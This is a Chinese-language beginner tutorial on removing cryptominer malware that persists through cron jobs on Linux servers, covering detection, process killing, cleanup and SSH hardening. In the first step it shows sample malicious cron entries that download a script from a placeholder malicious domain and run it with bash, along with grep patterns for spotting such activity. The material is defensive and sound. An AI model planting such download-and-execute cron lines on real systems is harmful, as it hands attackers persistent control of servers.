挖矿病毒定时任务彻底清除查杀教程
为什么会中挖矿病毒?定时任务是怎么被利用的?
挖矿病毒(Miner Malware)感染 Linux 服务器最常见的手法就是通过定时任务(cron)实现持久化。
攻击者拿到服务器权限后,会在 /var/spool/cron/、/etc/cron.d/ 或当前用户的 crontab 里写入一条定期执行的命令,下载运行挖矿脚本。
这样就算你重启服务器或临时杀掉了进程,过几分钟病毒又会自动复活。
本文就带零基础用户一步一步彻底清除这类定时任务,并防止再次被利用。
准备工作:你需要什么?
- 一台 Linux 服务器(本文以 CentOS 7/8、Ubuntu 20.04 为例)
- root 权限(或能使用
sudo的用户) - 基本的 SSH 连接能力(会用 Xshell、Putty 或终端即可)
- 如果已安装宝塔面板等管理工具,也可以通过文件管理直接查看
重要提醒: 操作前建议先备份关键数据,尤其是正在运行的生产业务。
如果对命令不确定,可以先在测试环境演练。
第一步:找到所有可疑的定时任务
首先用以下命令查看当前用户和系统级的定时任务列表:
# 查看当前登录用户的 crontab
crontab -l
# 查看所有用户的定时任务(需要 root)
for user in $(cut -f1 -d: /etc/passwd); do echo "=== $user ==="; crontab -u $user -l 2>/dev/null; done
# 检查系统目录下的定时任务文件
ls -la /var/spool/cron/
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/
挖矿病毒的定时任务通常长这样:
*/5 * * * * wget -q -O .update.sh http://恶意域名/x.sh && bash .update.sh
@reboot cd /tmp && nohup ./systemd &>/dev/null &
如果你看到类似的自动下载执行脚本的任务,基本可以确定是中招了。不要急着删除,先记录下来文件路径和域名,后面要用。
第二步:杀掉正在运行的挖矿进程
在清理定时任务之前,先找出并杀掉当前的挖矿进程,否则病毒可能边删边写。
使用 top 或 htop 观察那个 CPU 占用最高的进程,记录 PID。
然后用以下命令:
# 强制执行 kill -9
kill -9 PID号
# 以防写有启动保护脚本,同时杀掉同名进程
pkill -f 恶意进程名(比如 systemd、.update.sh)
如果进程名很隐蔽(比如使用常见系统名伪装),可以用 ps aux | grep -E "(wget|curl|/tmp/|/dev/shm)" 快速筛选可疑项。
第三步:彻底删除定时任务条目
删除当前用户的 crontab 中可疑条目
crontab -e # 编辑当前用户的定时任务,手动删掉挖矿那一行,保存退出
清除系统目录下的恶意文件
# 删除 /var/spool/cron/ 下的可疑文件(只删恶意的,不要删正常系统用户的)
rm -f /var/spool/cron/root(如果 root 的 crontab 被篡改过)
# 删除 /etc/cron.d/ 下的可疑文件
ls /etc/cron.d/
# 找到类似 .system、.update、cron.xxx 等非系统原生文件(对照正常服务器文件列表)
rm -f /etc/cron.d/恶意文件名
清理 /tmp、/dev/shm 等临时目录的挖矿脚本
大部分挖矿病毒会把自己的脚本放到 /tmp、/dev/shm 或 /var/tmp 目录下,文件名常带有随机字符串或伪装成系统命令。
执行:
ls -la /tmp | grep -E "^(d|-)..x" # 查找可执行文件
rm -rf /tmp/可疑目录或文件
ls -la /dev/shm/
rm -rf /dev/shm/可疑文件
注意: 一定不要盲目删除所有文件,只针对你知道是病毒产生的那些。
如果不确定,可以用 file 命令查看文件类型,或上传到 VirusTotal 分析。
第四步:查杀隐藏的后门文件与 SSH 密钥
挖矿病毒经常还会植入后门,比如在 /root/.ssh/authorized_keys 中添加攻击者的公钥。
使用以下命令检查并清除异常授权:
cat /root/.ssh/authorized_keys # 检查是否有可疑公钥
# 如果发现非你添加的密钥,直接编辑删除那一行
vim /root/.ssh/authorized_keys
另外,检查 ~/.bashrc、~/.profile 以及 /etc/rc.local、/etc/init.d/ 等启动项中是否有异常加载脚本。
常见问题与避坑指南
Q1: 删了定时任务后,过一会又自动出现了?
A: 说明还有隐藏进程或后门脚本在反复写 crontab。请重复步骤二使用 pkill 杀掉所有相关进程,并且检查 /etc/ld.so.preload(动态链接库劫持)以及 /etc/rc.d/ 下的启动脚本。也可以运行 chkrootkit 或 rkhunter 辅助检测。
Q2: 不知道哪些文件是正常的,怕误删系统文件?
A: 正常情况下系统自带的 crontab 条目很少。可以先拿一台干净的同版本服务器对比 /etc/cron.d/ 和 /var/spool/cron/ 下的文件列表。新手建议只清理明确包含以下特征的条目:指向未知域名、使用 wget/curl 下载、执行改名脚本(如 .sh、.update、.system)、路径在 /tmp 或 /dev/shm。
Q3: 清完之后怎么防止再被入侵?
A: 请立即做三件事:
- 修改服务器所有用户密码(强密码,包含大小写+数字+特殊字符,12位以上)
- 如果开启了 SSH 密码登录,改用密钥登录并禁用 root 密码登录(编辑
/etc/ssh/sshd_config,设置PasswordAuthentication no,PermitRootLogin prohibit-password) - 更新系统补丁,关闭不必要的端口和服务
效果验证:确保挖矿病毒已被彻底清除
完成以上步骤后,执行以下验证:
# 1. 再次列出所有定时任务,确认没有可疑条目
crontab -l
# 2. 查看 CPU 占用是否恢复正常(正常闲置应该在 1% 以下)
htop # 或 top
# 3. 检查进程列表,确认没有异常 wget/curl/miner 进程
ps aux | grep -v grep | grep -E "(wget|curl|miner|/tmp/)"
# 4. 过 10 分钟后再检查一次,确保没有复活
如果以上命令都没有异常输出,并且 CPU 持续正常,说明挖矿病毒已被成功清除。
后续建议定期执行 crontab -l 检查,并安装 Fail2Ban 等工具增强服务器安全。
如果你在处理挖矿病毒定时任务时遇到其他棘手情况,可以先按本文步骤完整执行,再根据实际报错信息进一步排查;
遇到无法删除的持久化任务时,优先检查系统启动项和 LD_PRELOAD 环境变量。